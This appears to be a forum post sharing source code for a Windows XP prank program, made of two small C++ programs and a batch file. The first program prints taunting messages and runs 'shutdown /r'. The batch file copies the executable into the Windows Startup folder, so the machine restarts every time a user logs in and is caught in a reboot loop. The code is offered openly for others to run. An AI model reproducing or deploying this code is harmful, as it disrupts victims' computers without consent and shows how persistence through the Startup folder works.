And This is For Windows XP Only
I've attached the Source and the Program.
First Extract these .Zip files into one Folder. Otherwise It won't work
When you Running the Program Make Sure you have Installed two Operating Systems.


Here are the Source Codes
Restart
Code: Select all
#include<iostream>
using namespace std;
int main ()
{
cout <<"You can't Stop Nipuna"<<endl;
cout <<"Be Careful With Him"<<endl;
cout <<"Bye Bye Folks"<<endl;
cout <<"Ha Ha Ha";
system("shutdown /r");
cin.get ();
return 0;
}
Code: Select all
#include<iostream>
using namespace std;
int main ()
{
system ("run.bat");
return 0;
}
Code: Select all
echo off
copy restart.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
restart.exe